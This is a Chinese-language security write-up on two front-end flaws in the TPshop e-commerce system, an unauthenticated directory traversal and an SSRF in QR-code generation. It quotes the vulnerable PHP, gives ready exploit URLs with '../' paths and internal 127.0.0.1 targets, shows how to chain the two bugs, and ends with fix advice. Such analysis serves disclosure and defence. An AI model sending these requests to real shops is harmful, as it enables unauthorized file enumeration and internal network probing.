某shop 前台文件遍历&SSRF组合拳
字数 898 2025-08-29 08:32:24
TPshop 前台文件遍历与SSRF漏洞组合利用分析
0x01 漏洞概述
TPshop电商系统存在两个安全漏洞:
- 前台文件遍历漏洞:允许未授权用户遍历服务器文件系统
- 前台SSRF漏洞:可通过二维码生成功能发起服务器端请求伪造攻击
这两个漏洞可以组合利用,实现更严重的攻击效果。
0x02 漏洞分析
前台文件遍历漏洞
漏洞位置:/application/home/controller/Uploadify.php中的fileList方法
漏洞代码分析:
$type = $_GET['type'];
$path = $_COOKIE['user_id'] . '/' . $_GET['path'];
$list = $this->getfiles($path, $allowFiles, $key);
漏洞点:
- 直接使用用户输入的
path参数拼接文件路径 getfiles方法未对路径进行任何过滤- 可通过
../实现目录穿越
利用方法:
http://127.0.0.1/index.php/home/Uploadify/fileList?type=a&path=../../../application
前台SSRF漏洞
漏洞位置:/application/home/controller/index.php中的qr_code方法
漏洞代码分析:
$head_pic = $_GET['head_pic'];
if (strpos($head_pic, 'http') === 0) {
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL, $head_pic);
$file_content = curl_exec($ch);
curl_close($ch);
// 保存下载的文件
}
漏洞点:
- 直接使用用户提供的URL发起CURL请求
- 仅检查URL是否以"http"开头,无其他限制
- 可用来探测内网服务
利用方法:
http://127.0.0.1/index.php/home/index/qr_code?data=http://www.baidu.com&head_pic=http://127.0.0.1:2020
组合利用
- 首先利用文件遍历漏洞查看
/upload/qr_code目录内容:
http://127.0.0.1/index.php/home/Uploadify/fileList?type=a&path=../../upload/qr_code
- 然后触发SSRF漏洞生成新文件:
http://127.0.0.1/index.php/home/index/qr_code?data=http://www.baidu.com&head_pic=http://127.0.0.1
- 再次遍历目录查看新增文件,确认SSRF执行成功
限制:
- 仅支持http/https协议,无法使用其他协议如gopher、dict等
- 需要配合文件遍历漏洞确认SSRF是否成功
0x03 漏洞修复建议
-
对于文件遍历漏洞:
- 对用户输入的
path参数进行严格过滤 - 禁止目录穿越字符
../ - 限制可访问的目录范围
- 对用户输入的
-
对于SSRF漏洞:
- 禁止使用用户提供的URL发起请求
- 如需必要,应使用白名单机制限制可访问的域名/IP
- 禁用CURL的协议重定向功能
-
通用安全建议:
- 实施最小权限原则
- 对所有用户输入进行严格验证和过滤
- 定期进行安全审计和代码审查
0x04 总结
TPshop电商系统的这两个漏洞可以组合利用,实现服务器文件系统遍历和内部网络探测。虽然SSRF漏洞存在一定限制(仅支持http/https协议),但仍可能造成严重危害。建议用户及时更新到最新版本或按照上述建议进行修复。